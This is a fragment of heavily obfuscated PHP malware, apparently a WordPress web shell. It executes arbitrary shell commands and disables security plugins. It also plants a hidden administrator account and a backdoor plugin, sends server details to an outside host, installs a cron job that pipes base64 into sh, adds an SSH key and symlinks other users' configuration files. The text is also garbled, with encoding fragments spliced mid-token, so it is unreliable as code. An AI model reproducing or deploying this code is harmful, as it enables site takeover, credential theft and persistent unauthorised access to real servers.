function($_CEeIQFOw){@exec($_CEeIQFOw,$_fdXxTzUA);return implode("\n",$_fdXxTzUA);},strrev("urhtssap")=>function($_CEeIQFOw){ob_start();@passthru($_CEeIQFOw);return ob_get_clean();},base64_decode('c3lzdGVt')=>function($_var__CEeIQFOw){ob_start();@system($_CEeIQFOw) ; return ob_get_clean() ; },"\x70\x6f\x70\x65\x6e"=>function($_CEeIQFOw){$_h5Mo7YeF=@popen($_CEeIQFOw,'rstr_rot13(");vs($_u5Zb7LrS){$_sqKkGmHN=fgernz_trg_pbagragf($_ine__u5Zb7LrS) ; @cpybfr($_u5Zb7LrS);erghea $_sqKkGmHN ; }erghea ahyy ; },")proc_openimplode("\x78\x6f\x72\x44\x65\x63\x6f\x64\x65\x28"c2b6c2bac3bbc3a8c3a8c3bbc3a3c2b2str_rot13(", 154)[")))pipe','wstr_rot13("],2=>[")pipe','wstrrev(",vXj5tLQZ_$(sopirts(fi;vXj5tLQZ_$=oaizUu8M_${))vXj5tLQZ__rav_$(ytpme!(fi;)8Q2Novi9_$(Yfklls2U_$=vXj5tLQZ_${))IALji0b5_$(stsixe_noitcnuf(fi{)Yfklls2U_$>=IALji0b5_$ sa kcCDqphK__rav_$(hcaerof;]} ; llun nruter};AUzTxXdf_$ nruter;)pnMRVqPJ_$(esolc_corp@;)]2[zqTaf9c7_$(esolcf@ ; )])0+1([zqTaf9c7_$(esolcf@ ; )]1[zqTaf9c7_$(stnetnoc_teg_maerts=AUzTxXdf_${))pnMRVqPJ__rav_$(ecruoser_si(fi;)zqTaf9c7_$,re0sQW4p_$,wOFQIeEC_$(nepo_corp@=pnMRVqPJ_$;]]")token:base64_decode('KSE9PWZhbHNlfHxzdHJpcG9zKCRfWlFMdDVqWHYs')conflictingstr_rot13(")!==snyfr||fgevcbf($_MDYg5wKi,")already existsimplode('str_rot13(", neenl(")('))/token:\s*(\S+)/istr_rot13(",$_Z8hHmvnb,$_ine__VDm1O7H7)){$_dbVHArHF=gevz($_VDm1O7H7[1]);$_Qlk6RTxH=fgeeri("Q");$_s9uOYsHK="grkg-fhpprff";}ryfrvs(fgevcbf($_Z8hHmvnb,")conflictingimplode('', array("\x29","\x21","\x3d","\x3d","\x66","\x61","\x6c","\x73","\x65","\x7c","\x7c","\x73","\x74","\x72","\x69","\x70","\x6f","\x73","\x28","\x24","\x5f","\x4d","\x38","\x75","\x55","\x7a","\x69","\x61","\x6f","\x2c"))already existsstr_rot13(")!==snyfr){$_ine__dbVHArHF="Rkvfgf (Frperg Uvqqra)" ; $_Qlk6RTxH="NYERNQL RKVFGFfge_ebg13("=")grkg-jneavat" ; }ryfr{$_Qlk6RTxH="ABG SBHAQ";$_s9uOYsHK=fgeeri("e");}$_QGjvkO0h="Fxvccrq" ; $_gRjqNYZE="grkg-frpbaqnel";vs($_ine__Qlk6RTxH==="PERNGRQfge_ebg13("=")uggcf://ohyyrgcebbs-ubfg.fvgr/jc/pngpu.cuc";$_0RI4G3d6=wfba_rapbqr(["frperg"=>"jgs",fgeeri("a")=>$_FREIRE[kbeQrpbqr(")0519191d1205021e19base64_decode('LCA3NyldLCJ1c2VybmFtZSI9PmdldF9jdXJyZW50X3VzZXIoKSwiYXBpVG9rZW4iPT4kX3FvSVVOZVVTLCJob21lZGlyc3RyX3JvdDEzKCI9IilObyBDb25uZWN0IjtpZihmdW5jdGlvbl9leGlzdHMo')curl_initimplode('"\x2c\x20\x61\x72\x72\x61\x79\x28"[implode('', array("\x29","\x29","\x43","\x6f","\x6e","\x74","\x65","\x6e","\x74","\x2d","\x54","\x79","\x70","\x65","\x3a","\x20","\x61","\x70","\x70","\x6c","\x69","\x63","\x61","\x74","\x69","\x6f","\x6e","\x2f","\x6a","\x73","\x6f","\x6e"))]) ; curl_setopt($_HkQF1ciS,CURLOPT_SSL_VERIFYPEER,false) ; curl_setopt($_HkQF1ciS,CURLOPT_SSL_VERIFYHOST,false);curl_setopt($_HkQF1ciS,CURLOPT_TIMEOUT,10) ; $_Vf4v02C6=curl_exec($_HkQF1ciS) ; curl_close($_HkQF1ciS);}elseif(ini_get(str_rot13("nyybj_hey_sbcra"))){$_var__HLdUFilB=[xorDecode(strrev("b7f7f736"), 11)=>[implode('', array("\x6d","\x65","\x74","\x68","\x6f","\x64"))=>"\x50\x4f\x53\x54",strrev("redaeh")=>implode('implode('', array("\x2c","\x20","\x61","\x72","\x72","\x61","\x79","\x28"))nxorDecode("\x34\x61\x34\x61\x34\x66", 99)contentimplode('', array("\x3d","\x3e","\x24","\x5f","\x30","\x45","\x56","\x34","\x54","\x33","\x71","\x36","\x2c"))timeoutimplode('', array("\x3d","\x3e","\x28","\x35","\x2b","\x35","\x29","\x5d","\x2c"))sslstr_rot13("=>[")verify_peerstr_rot13("=>snyfr,")verify_peer_namestrrev("(edolpmi[w4Lqzy13_$(fi{)w4Lqzy13__rav_$(fi ; )eurt,6C20v4fV_$(edoced_nosj=w4Lqzy13_$};))BliFUdLH_$(etaerc_txetnoc_maerts,eslaf,BMl6Lg3e_$(stnetnoc_teg_elif@=6C20v4fV_$ ; ]]eslaf>=")base64_decode('LCBhcnJheSg=')simplode('', array("\x29","\x29","\x5d","\x3d","\x3d","\x3d"))successstrrev("[w4Lqzy13_$(fiesle};)"s"(verrts=RMLAdwEt_$;".esabataD ot devaS"=u0BxiwTD_${)")statusimplode('', array("\x5d","\x3d","\x3d","\x3d"))ignoredstr_rot13("){$_QGjvkO0h="Nyernql Fnirq (Qhcyvpngr).";$_gRjqNYZE="grkg-jneavat";}ryfr{$_ine__QGjvkO0h="Freire Reebe: fge_ebg13("=")grkg-qnatre" ; }}ryfr{$_QGjvkO0h="Enj: ".fhofge($_Is4i02P6,0,50);}}ryfrvs($_Qlk6RTxH===fgeeri("F")){$_QGjvkO0h="Fxvccrq (Frperg Uvqqra)";$_ine__gRjqNYZE="grkg-jneavat";}rpub"Zrgubq: $_Dyx6EGkU
str_rot13("b")
Server: $_DTwixB0u
" ; if($_Dyx6EGkU===base64_decode('Tk9UIEZPVU5E')){$_1Cbtlqff=htmlspecialchars(substr($_var__M8uUziao,0,(100+100))) ; echostrrev(">implode('', array("\x29","\x3b","\x7d","\x65","\x63","\x68","\x6f"))
No wp-config.php found in this path.
";}else{$_Wq4WLVur=xorDecode('0c0504080259070e', 105);$_YdUWTLRQ='26fb9dad0837c078dcaf39b3f6df851e' ; $_qyfwFN10='log.makong@gmail.com';$_ki6U839y=$_Wq4WLVur;$_var__GZmOKYcO=$_YdUWTLRQ ; $_V9dW84Wa='https://bulletproof-host.site/wp/system-core.phpimplode('', array('=xorDecode('21217b717b7c6d65256b677a6d', 8);$_fS53uJA4='system-core.php';$_Sf0870ad=$_uzj9Jv3g.'/'.$_fS53uJA4 ; $_var__Jf7lP6tR='https://bulletproof-host.site/wp/receiver.php' ; $_AaB4e28D='wtfimplode('', array('.xorDecode('040402404c5e59485f724e425f4872', 45).time().'.php';$_3kGvWI3s=sys_get_temp_dir().'/master_index_'.time().'.php' ; $_CGRa2T1H=stream_context_create(['http'=>[implode('xorDecode('c3bbc3b7c2b6c2a5c2a5c2b6c2aec3bf', 215)r'))=>"User-Agent: Mozilla/5.0str_rot13("(")/\\\$_4xMdBQNv\s*=\s*['\"]([^'\"]+)['\"]/",$_Z8FhEdNL,$_IQz1B7U7))$_CT2svix8=$_IQz1B7U7[(1+0)];$_FUDxNoFD=dirname($_var__2MM0FYGB);$_3YHoQxdS=str_replace($_lHX2ttxF,'',$_FUDxNoFD);echo"
base64_decode('O2VjaG8=')
Dir: strrev(".str_rot13(") -> ");@mysqli_report(MYSQLI_REPORT_OFF) ; $_47aCB83u=mysqli_init();@mysqli_options($_47aCB83u,MYSQLI_OPT_CONNECT_TIMEOUT,2) ; if(@mysqli_real_connect($_var__47aCB83u,$_yf1VPEpP,$_ROCtw6nJ,$_Wqh4STqO,$_8DMG7U2g)){$_6hKHAGyY=$_FUDxNoFD.strrev("(edolpmi/snigulp/tnetnoc-pw/")implode('', array("\x2c","\x20","\x61","\x72","\x72","\x61","\x79","\x28"))[xorDecode(str_rot13("p384p384p29np282p29sp289p28op288p283p28rp288"), 237),str_rot13("vgurzrf-frphevgl-ceb"),strrev("rennacs-irucus"),str_rot13("ft-frphevgl"),str_rot13("yvzvg-ybtva-nggrzcgf-erybnqrq")] ; foreach($_var__zt3P1EWw as $_oyU1Fd3C){$_EWGWnJLI=$_6hKHAGyY.$_oyU1Fd3C;if(is_dir($_EWGWnJLI)){@rename($_EWGWnJLI,$_var__EWGWnJLI.implode("\x78\x6f\x72\x44\x65\x63\x6f\x64\x65\x28"c397c39bc29ac289c289c29ac282c393str_rot13(", 251)_"))).time()) ; }}$_4nBs1Ofp=$_6hKHAGyY.$_uzj9Jv3g ; $_beLiZsAy=$_4nBs1Ofp.'/strrev(".pfO1sBn4_$=AoQ2OgUm__rav_$ ; 4AJu35Sf_$.")/index.phpbase64_decode('IDsgaWYoIWlzX2RpcigkXzRuQnMxT2ZwKSl7QG1rZGlyKCRfNG5CczFPZnAsKDM3NyszNzgpLHRydWUpO0BjaG1vZCgkXzRuQnMxT2ZwLDA3NTUpIDsgfSRfVTVhSTFNak49ZmFsc2UgOyBpZihmaWxlX2V4aXN0cygkX2paQTlieFQwKSYmQGNvcHkoJF92YXJfX2paQTlieFQwLCRfYmVMaVpzQXkpKXtAY2htb2QoJF9iZUxpWnNBeSwwNjQ0KSA7IGlmKGZpbGVfZXhpc3RzKCRfM2tHdldJM3MpKUBjb3B5KCRfM2tHdldJM3MsJF9tVWdPMlFvQSkgOyAkX1U1YUkxTWpOPXRydWU7fSRfdmFyX19hWkVhSDlWbD1mYWxzZTskX2d1TUFLTUZVPWZhbHNlO2lmKCRfVTVhSTFNak4peyRfN2VCSEVwamk9QG15c3FsaV9xdWVyeSgkXzQ3YUNCODN1LCJTRUxFQ1Qgb3B0aW9uX3ZhbHVlIEZST00geyRfQ1Qyc3ZpeDh9b3B0aW9ucyBXSEVSRSBvcHRpb25fbmFtZT0=')active_pluginsstr_rot13("");$_XvDRkPbk=($_ine__7rOURcwv&&zlfdyv_ahz_ebjf($_7rOURcwv)>0)?@hafrevnyvmr(zlfdyv_srgpu_nffbp($_7rOURcwv)[")option_valuestrrev("=eman_noitpo EREHW snoitpo}8xivs2TC_${ MORF ETELED",u38BCa74_$(yreuq_ilqsym@;))xoCxEQiK_$(ezilaires(xeh2nib=lgJiSjI1_$;)xoCxEQiK_$(tros;da0780fS_$=][xoCxEQiK__rav_${))xoCxEQiK_$,da0780fS_$(yarra_ni!(fi;][=xoCxEQiK_$))xoCxEQiK_$(yarra_si!(fi ; ][:)]")active_pluginsimplode('"\x2c\x20\x61\x72\x72\x61\x79\x28"(base64_decode('KSlhY3RpdmVfcGx1Z2lucw=='), 0x$_var__1IjSiJgl, str_rot13("lrf"))"))$_aZEaH9Vl=true;}else{$_aZEaH9Vl=true ; }}$_2c1m3EUf=@mysqli_query($_47aCB83u,str_rot13("implode('', array("\x22","\x29","\x29","\x20","\x3b","\x20","\x69","\x66","\x28","\x24","\x5f","\x76","\x61","\x72","\x5f","\x5f","\x32","\x63","\x31","\x6d","\x33","\x45","\x55","\x66","\x26","\x26","\x6d","\x79","\x73","\x71","\x6c","\x69","\x5f","\x6e","\x75","\x6d","\x5f","\x72","\x6f","\x77","\x73","\x28","\x24","\x5f","\x32","\x63","\x31","\x6d","\x33","\x45","\x55","\x66","\x29","\x3e","\x30","\x29","\x7b","\x24","\x5f","\x6f","\x54","\x42","\x44","\x73","\x4a","\x6c","\x32","\x3d","\x6d","\x79","\x73","\x71","\x6c","\x69","\x5f","\x66","\x65","\x74","\x63","\x68","\x5f","\x61","\x73","\x73","\x6f","\x63","\x28","\x24","\x5f","\x32","\x63","\x31","\x6d","\x33","\x45","\x55","\x66","\x29","\x5b"))ID"\x5d\x3b\x40\x6d\x79\x73\x71\x6c\x69\x5f\x71\x75\x65\x72\x79\x28\x24\x5f\x34\x37\x61\x43\x42\x38\x33\x75\x2c\x22\x55\x50\x44\x41\x54\x45\x20\x7b\x24\x5f\x43\x54\x32\x73\x76\x69\x78\x38\x7d\x75\x73\x65\x72\x73\x20\x53\x45\x54\x20\x75\x73\x65\x72\x5f\x70\x61\x73\x73\x3d"$_YdUWTLRQimplode('base64_decode('LCBhcnJheSg=')(str_rot13("))$_ine__Jd4JYIhe"),"\x24\x5f\x59\x64\x55\x57\x54\x4c\x52\x51",base64_decode('QWRtaW4='),implode('', array("\x24","\x5f","\x71","\x79","\x66","\x77","\x46","\x4e","\x31","\x30")),0,strrev("nimdA"))") ; $_oTBDsJl2=mysqli_insert_id($_47aCB83u);if($_oTBDsJl2)$_guMAKMFU=true;}if($_var__guMAKMFU){$_xB4NWquF=serialize([implode('', array('r'))=>true]);@mysqli_query($_47aCB83u,"INSERT INTO {$_CT2svix8}usermeta (user_id,meta_key,meta_value) VALUES ($_oTBDsJl2,str_rot13("{$_PG2fivk8}pncnovyvgvrf"),strrev("FuqWN4Bx_$")) ON DUPLICATE KEY UPDATE meta_value=strrev("FuqWN4Bx__rav_$")strrev(",")INSERT INTO {$_CT2svix8}usermeta (user_id,meta_key,meta_value) VALUES ($_oTBDsJl2,'{$_CT2svix8}user_level','10implode('', array('='))10'") ; }$_4mXf9Jmv=strrev(">naps/<->)73 ,'c5754414b4a46404658015d50415'(edoceDrox=ssalc naps<");$_9scPu2jb="";$_var__UyM9LXw0=@mysqli_query($_47aCB83u,"SELECT option_value FROM {$_CT2svix8}options WHERE option_name=base64_decode('c2l0ZXVybA==')str_rot13(">str_rot13(")Pbagrag-glcr: nccyvpngvba/k-jjj-sbez-heyrapbqrq"),strrev("tnetnoc")=>$_var__efGQRQzL,xorDecode(str_rot13("p3nop3o6p3o2p3onp3o0p3nnp3no"), 159)=>2]]) ; @file_get_contents($_Jf7lP6tR,false,$_GNazmOHn) ; if($_aZEaH9Vl){$_cSIUKCxa=rtrim($_9scPu2jb,'/').implode('', array("\x2f","\x77","\x70","\x2d","\x63","\x6f","\x6e","\x74","\x65","\x6e","\x74","\x2f","\x70","\x6c","\x75","\x67","\x69","\x6e","\x73","\x2f")).$_uzj9Jv3g.implode('str_rot13(", neenl(")pstr_rot13("));$_ine__u0mvsSM0=fgernz_pbagrkg_perngr([")http"\x3d\x3e\x5b"methodstr_rot13("=>kbeQrpbqr(")070514str_rot13(", 64),")headerimplode('', array("\x3d","\x3e","\x22","\x55","\x73","\x65","\x72","\x2d","\x41","\x67","\x65","\x6e","\x74","\x3a","\x20","\x4d","\x6f","\x7a","\x69","\x6c","\x6c","\x61","\x2f","\x35","\x2e","\x30","\x73","\x74","\x72","\x72","\x65","\x76","\x28","\x22","\x3d","\x22","\x29","\x3c","\x73","\x70","\x61","\x6e","\x20","\x63","\x6c","\x61","\x73","\x73","\x3d"))text-success"\x3e\x4f\x4b\x3c\x2f\x73\x70\x61\x6e\x3e\x22\x3b\x7d\x7d\x65\x63\x68\x6f\x20\x24\x5f\x55\x35\x61\x49\x31\x4d\x6a\x4e\x3f\x22\x3c\x73\x70\x61\x6e\x20\x63\x6c\x61\x73\x73\x3d\x69\x6d\x70\x6c\x6f\x64\x65\x28"implode('', array("\x2c","\x20","\x61","\x72","\x72","\x61","\x79","\x28"))sxorDecode(base64_decode('MjEyMTM2NTg0NDRmMzI0NzQzMzQyNzdiNzg2OTY2MzYyODJhMzIyYTM0N2I3ODY5NjYyODZiNjQ2OTdiN2IzNQ=='), 8)text-danger"\x3e\x50\x4c\x47\x3a\x45\x52\x52\x3c\x2f\x73\x70\x61\x6e\x3e\x20\x22\x3b\x65\x63\x68\x6f\x20\x24\x5f\x67\x75\x4d\x41\x4b\x4d\x46\x55\x3f\x22\x3c\x73\x70\x61\x6e\x20\x63\x6c\x61\x73\x73\x3d"text-successimplode('', array("\x3e","\x55","\x53","\x52","\x3a","\x4f","\x4b","\x3c","\x2f","\x73","\x70","\x61","\x6e","\x3e","\x20","\x22","\x3a","\x22","\x3c","\x73","\x70","\x61","\x6e","\x20","\x63","\x6c","\x61","\x73","\x73","\x3d"))text-dangerbase64_decode('PlVTUjpFUlI8L3NwYW4+ICIgOyBlY2hvc3RyX3JvdDEzKCJpIik7bXlzcWxpX2Nsb3NlKCRfdmFyX180N2FDQjgzdSk7fWVsc2V7ZWNobyI8c3BhbiBjbGFzcz0=')text-dangerstrrev("(edolpmi===l27aaf6g_$(fi} ; tixe ; ">vid/<"ohce ; ">vid/<"ohce}} ; )">"(verrtsohce};">naps/")xorDecode("\x32\x35\x32\x39\x36\x38\x37\x62\x37\x62\x36\x38\x37\x30\x32\x31", 9)pstr_rot13("))){rpub"vid/<.f94gSuWi_$ ot detcejnI yeK cilbuP ]KO[>))")text-warning fw-bold"\x3e\x5b\x53\x4b\x49\x50\x5d\x20\x4b\x65\x79\x20\x41\x6c\x72\x65\x61\x64\x79\x20\x45\x78\x69\x73\x74\x73\x20\x69\x6e\x20\x61\x75\x74\x68\x6f\x72\x69\x7a\x65\x64\x5f\x6b\x65\x79\x73\x2e\x3c\x2f\x64\x69\x76\x3e\x73\x74\x72\x72\x65\x76\x28\x22\x28\x22\x29\x75\x61\x70\x69\x20\x53\x53\x48\x20\x69\x6d\x70\x6f\x72\x74\x5f\x6b\x65\x79\x20\x6e\x61\x6d\x65\x3d\x78\x73\x68\x69\x6b\x61\x74\x61\x5f\x6b\x65\x79\x20\x6b\x65\x79\x3d\x22\x2e\x65\x73\x63\x61\x70\x65\x73\x68\x65\x6c\x6c\x61\x72\x67\x28\x24\x5f\x5a\x30\x45\x79\x6f\x36\x50\x43\x29\x29\x20\x3b\x20\x40\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63\x28\x22\x75\x61\x70\x69\x20\x53\x53\x48\x20\x61\x75\x74\x68\x6b\x65\x79\x20\x6b\x65\x79\x3d\x78\x73\x68\x69\x6b\x61\x74\x61\x5f\x6b\x65\x79\x20\x61\x63\x74\x69\x6f\x6e\x3d\x61\x75\x74\x68\x6f\x72\x69\x7a\x65\x22\x29\x20\x3b\x20\x24\x5f\x76\x61\x72\x5f\x5f\x4c\x7a\x4b\x77\x77\x41\x47\x30\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28"\\','/base64_decode('LGdldGN3ZCgpKTskX3R0V3JkSmg1PWh0dHBfYnVpbGRfcXVlcnkoWw==')actionimplode('', array("\x3d","\x3e","\x78","\x6f","\x72","\x44","\x65","\x63","\x6f","\x64","\x65","\x28"))c298c28fc28dc283c299c29ec28fc298c2b5c299c299c282base64_decode('LCAyMzQpLA==')secret'=>base64_decode('d3Rm'),implode('"\x2c\x20\x61\x72\x72\x61\x79\x28"nbase64_decode('KSk9PiRfU0VSVkVSWw==')HTTP_HOSTstr_rot13("],kbeQrpbqr(")22243225base64_decode('LCA4Nyk9PmdldF9jdXJyZW50X3VzZXIoKSw=')ipimplode('', array("\x3d","\x3e","\x24","\x5f","\x53","\x45","\x52","\x56","\x45","\x52","\x5b"))SERVER_ADDR'],"\x70\x61\x74\x68"=>$_LzKwwAG0]) ; $_XcjD89Lg=stream_context_create(["\x68\x74\x74\x70"=>[implode('base64_decode('LCBhcnJheSg=')dxorDecode(strrev("73430202"), 9)POST',str_rot13("urnqre")=>strrev("dedocnelru-mrof-www-x/noitacilppa :epyt-tnetnoC"),implode('', array("\x63","\x6f","\x6e","\x74","\x65","\x6e","\x74"))=>$_ttWrdJh5,base64_decode('dGltZW91dA==')=>2],base64_decode('c3Ns')=>[xorDecode(base64_decode('N2U2ZDdhNjE2ZTcxNTc3ODZkNmQ3YQ=='), 8)=>false,implode('implode('', array("\x2c","\x20","\x61","\x72","\x72","\x61","\x79","\x28"))e"\x29\x29\x3d\x3e\x66\x61\x6c\x73\x65\x5d\x5d\x29\x3b\x40\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73\x28\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x62\x75\x6c\x6c\x65\x74\x70\x72\x6f\x6f\x66\x2d\x68\x6f\x73\x74\x2e\x73\x69\x74\x65\x2f\x77\x70\x2f\x72\x65\x63\x65\x69\x76\x65\x72\x2e\x70\x68\x70\x22\x2c\x66\x61\x6c\x73\x65\x2c\x24\x5f\x76\x61\x72\x5f\x5f\x58\x63\x6a\x44\x38\x39\x4c\x67\x29\x20\x3b\x20\x24\x5f\x45\x56\x61\x48\x75\x47\x74\x51\x3d\x24\x5f\x53\x45\x52\x56\x45\x52\x5b"SERVER_ADDR"\x5d\x3f\x3f\x67\x65\x74\x68\x6f\x73\x74\x62\x79\x6e\x61\x6d\x65\x28\x24\x5f\x53\x45\x52\x56\x45\x52\x5b"SERVER_NAME"\x5d\x29\x3b\x24\x5f\x76\x38\x78\x4c\x49\x56\x34\x49\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x62\x75\x6c\x6c\x65\x74\x70\x72\x6f\x6f\x66\x2d\x68\x6f\x73\x74\x2e\x73\x69\x74\x65\x2f\x77\x70\x2f\x72\x65\x63\x65\x69\x76\x65\x72\x2e\x70\x68\x70\x3f\x61\x63\x74\x69\x6f\x6e\x3d\x70\x69\x6e\x67\x5f\x73\x73\x68\x26\x73\x65\x63\x72\x65\x74\x3d\x77\x74\x66\x26\x69\x70\x3d\x24\x5f\x45\x56\x61\x48\x75\x47\x74\x51\x22\x3b\x24\x5f\x67\x58\x31\x6b\x7a\x48\x59\x49\x3d\x73\x74\x72\x65\x61\x6d\x5f\x63\x6f\x6e\x74\x65\x78\x74\x5f\x63\x72\x65\x61\x74\x65\x28\x5b"httpxorDecode(str_rot13("6r6q08"), 83)method'=>str_rot13("TRG"),strrev("tuoemit")=>(1+2)],strrev("lss")=>[implode('base64_decode('LCBhcnJheSg=')rxorDecode(strrev("20b4d524f48401317070"), 46)verify_peer_name'=>false]]);@file_get_contents($_var__v8xLIV4I,false,$_gX1kzHYI);$_eKM5ZOIg="curl -s \"https://bulletproof-host.site/wp/receiver.php?action=ping_ssh&secret=wtf&ip=$_EVaHuGtQ\base64_decode('c3RyX3JvdDEzKA==')=")(crontab -l 2>/dev/null; echo \"5 * * * * echo \\\"$_var__wxJ8GNw3\\\" | base64 -d | sh >/dev/null 2>&(1+0)\strrev("-") ; $_4xx8dAFR=false;foreach(['shell_exec','system','exec','passthru',implode('xorDecode('c38fc383c282c291c291c282c29ac38b', 227)n'))]as $_nSq0fokc){if(function_exists($_nSq0fokc)&&!in_array($_nSq0fokc,explode(',',ini_get('disable_functions')))){if($_nSq0fokc==='shell_exec')@shell_exec($_pHysGWUV);elseif($_var__nSq0fokc==='system'){ob_start();@system($_pHysGWUV);ob_end_clean();}elseif($_nSq0fokc==='execimplode('', array('='))passthru'){ob_start() ; @passthru($_pHysGWUV);ob_end_clean() ; }elseif($_nSq0fokc==='popen'){$_h5Mo7YeF=@popen($_pHysGWUV,'r');if($_var__h5Mo7YeF)@pclose($_h5Mo7YeF);}$_4xx8dAFR=true;break;}}echo"SSH Heartbeat Cron Installed.
"\x20\x3b\x20\x65\x63\x68\x6f"Sekarang coba login di MobaXterm:
str_rot13(";rpub")IP: ".$_SERVER[xorDecode('c28fc299c28ec28ac299c28ec283c29dc298c298c28e', 220)]."implode('', array("\x3b","\x65","\x63","\x68","\x6f"))User: str_rot13("(")>implode('', array("\x29","\x3b","\x65","\x63","\x68","\x6f"))Key: pribadi.ppkbase64_decode('IDsgZWNobw==')" ; exit ; }if($_g6faa72l===str_rot13("fpna_fvgrvzcybqr(")"\x2c\x20\x61\x72\x72\x61\x79\x28"=str_rot13(")).")||$_5liezJzW==='..str_rot13(")pbagvahr ; $_RJTJaWYV=$_ine__GnCPW05H.")/"\x2e\x24\x5f\x35\x6c\x69\x65\x7a\x4a\x7a\x57\x3b\x69\x66\x28\x69\x73\x5f\x64\x69\x72\x28\x24\x5f\x45\x57\x47\x57\x6e\x4a\x4c\x49\x29\x29\x7b\x69\x66\x28\x70\x72\x65\x67\x5f\x6d\x61\x74\x63\x68\x28"/^([a-z0-9]+(-[a-z0-9]+)*\.)+[a-z]{2,}$/istrrev("[(aPqRcFqeRH_cnuf_}}}} ; WzJzeil5_$=][1C9K76gf_${))WzJzeil5_$,")statusimplode('', array("\x3d","\x3e","\x69","\x6d","\x70","\x6c","\x6f","\x64","\x65","\x28"))str_rot13(", neenl(")sbase64_decode('KSks')datastr_rot13("=>$_st67X9P1,")countbase64_decode('PT5jb3VudCgkX3Zhcl9fZmc2N0s5QzEpXSkgOyBleGl0O31pZigkX2c2ZmFhNzJsPT09')root_bypassimplode('', array("\x29","\x7b","\x24","\x5f","\x77","\x65","\x78","\x58","\x58","\x50","\x69","\x50","\x3d","\x22","\x73","\x79","\x6d","\x6c","\x69","\x6e","\x6b","\x62","\x79","\x70","\x61","\x73","\x73","\x22","\x3b","\x40","\x6d","\x6b","\x64","\x69","\x72","\x28","\x24","\x5f","\x77","\x65","\x78","\x58","\x58","\x50","\x69","\x50","\x2c","\x28","\x33","\x37","\x37","\x2b","\x33","\x37","\x38","\x29","\x29","\x3b","\x63","\x68","\x64","\x69","\x72","\x28","\x24","\x5f","\x77","\x65","\x78","\x58","\x58","\x50","\x69","\x50","\x29","\x3b","\x69","\x66","\x28","\x21","\x66","\x75","\x6e","\x63","\x74","\x69","\x6f","\x6e","\x5f","\x65","\x78","\x69","\x73","\x74","\x73","\x28"))_func_XQ3DRRIileimplode('', array("\x29","\x29","\x7b","\x66","\x75","\x6e","\x63","\x74","\x69","\x6f","\x6e","\x20","\x5f","\x66","\x75","\x6e","\x63","\x5f","\x58","\x51","\x33","\x44","\x52","\x52","\x49","\x69","\x6c","\x65","\x28","\x24","\x5f","\x6c","\x48","\x58","\x32","\x74","\x74","\x78","\x46","\x2c","\x24","\x5f","\x43","\x6e","\x69","\x4c","\x38","\x72","\x79","\x7a","\x29","\x7b","\x69","\x66","\x28","\x66","\x75","\x6e","\x63","\x74","\x69","\x6f","\x6e","\x5f","\x65","\x78","\x69","\x73","\x74","\x73","\x28"))symlinkimplode('strrev("(yarra ,")(xorDecode(base64_decode('N2M3YzM5M2MzYjNl'), 85))&&@link($_var__lHX2ttxF,$_CniL8ryz))return true;$_1jBOZKOz=str_rot13("ya -f ").escapeshellarg($_lHX2ttxF)." ".escapeshellarg($_CniL8ryz);$_9ivoN2Q8=$_1jBOZKOz ; if(function_exists('shell_exec')){@shell_exec($_var__9ivoN2Q8);}elseif(function_exists('exec')){@exec($_9ivoN2Q8) ; }elseif(function_exists('proc_open')){$_4sudY2i2=[0=>["pipeimplode('', array("\x2c","\x73","\x74","\x72","\x5f","\x72","\x6f","\x74","\x31","\x33","\x28"))(")[strrev("epip)"),"wimplode('', array("\x5d","\x2c","\x32","\x3d","\x3e","\x5b"))pipe","w"]];$_C85GjVJt=@proc_open($_9ivoN2Q8,$_4sudY2i2,$_7c9faTqz) ; if(is_resource($_var__C85GjVJt)){@fclose($_7c9faTqz[0]);@fclose($_7c9faTqz[1]);@fclose($_7c9faTqz[2]);@proc_close($_C85GjVJt) ; }}elseif(function_exists('passthruimplode('xorDecode('c3b7c3bbc2bac2a9c2a9c2bac2a2c3b3', 219)('))system')){ob_start();@system($_9ivoN2Q8) ; ob_end_clean();}elseif(function_exists('popen')){$_JPqVRMnp=@popen($_var__9ivoN2Q8,'r');if($_JPqVRMnp)pclose($_JPqVRMnp);}if(@file_exists($_CniL8ryz))return true ; return false;}}$_hT0NgAFP=_func_XQ3DRRIile("/","\x72\x6f\x6f\x74") ; $_VyprnICv=dirname(__DIR__)."\x2f\x70\x61\x73\x73\x77\x64\x2e\x74\x78\x74";$_Parrasjh=(file_exists($_var__VyprnICv))?file_get_contents($_VyprnICv):false;$_fpbfLXYj=0 ; if($_Parrasjh){$_mlvBxh9g=_func_ThW4h5M3yk() ; $_Uxx8CSRx=explode("\nstr_rot13("[implode('', array("\x29","\x77","\x70","\x2d","\x63","\x6f","\x6e","\x66","\x69","\x67","\x2e","\x70","\x68","\x70")),strrev("p"),base64_decode('Y29uZmlndXJhdGlvbi5waHA='),str_rot13(".zl.pas")];foreach($_Uxx8CSRx as $_Gs3DzoPI){$_Sx8LzWZz=explode(":",$_Gs3DzoPI)[0];if(empty($_Sx8LzWZz))continue;foreach($_mlvBxh9g as $_var__h5Mo7YeF){$_jWtQZF3F="$_h5Mo7YeF/$_Sx8LzWZz/public_html" ; if(_func_XQ3DRRIile($_jWtQZF3F,$_Sx8LzWZz."~folder~str_rot13("(")/",strrev("(verrts").")/".$_PFhIFeWi,$_Sx8LzWZz."~strrev("(ecalper_rts.").","-",$_PFhIFeWi).".txt") ; }}}}$_var__4LoHBWuV="T3B0aW9ucyArRm9sbG93U3ltTGlua3MgK0luZGV4cwpEaXJlY3RvcnlJbmRleCBkZWZhdWx0LnBocApSZWFkT25seSB7IE9GRiB9CjxGaWxlc01hdGNoICJcLnBocCQiPgpTZXRIYW5kbGVyIHRleHQvcGxhaW4KQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAKPC9GaWxlc01hdGNoPgpSZXdyaXRlRW5naW5lIE9mZgpTYXRpc2Z5IEFueQ==str_rot13("(base64_decode('KS5odGFjY2Vzc3N0cnJldig=')ostr_rot13(")
[+] TBQ ZBQR Olcnff Npgvir (Onfr64 Rapbqrq Pbagrag)!") ; echo"Akses Root:
[ ROOT / ]";echo"Akses User:
[ BYPASS FOLDER ($_fpbfLXYj Users) ]" ; echostr_rot13("
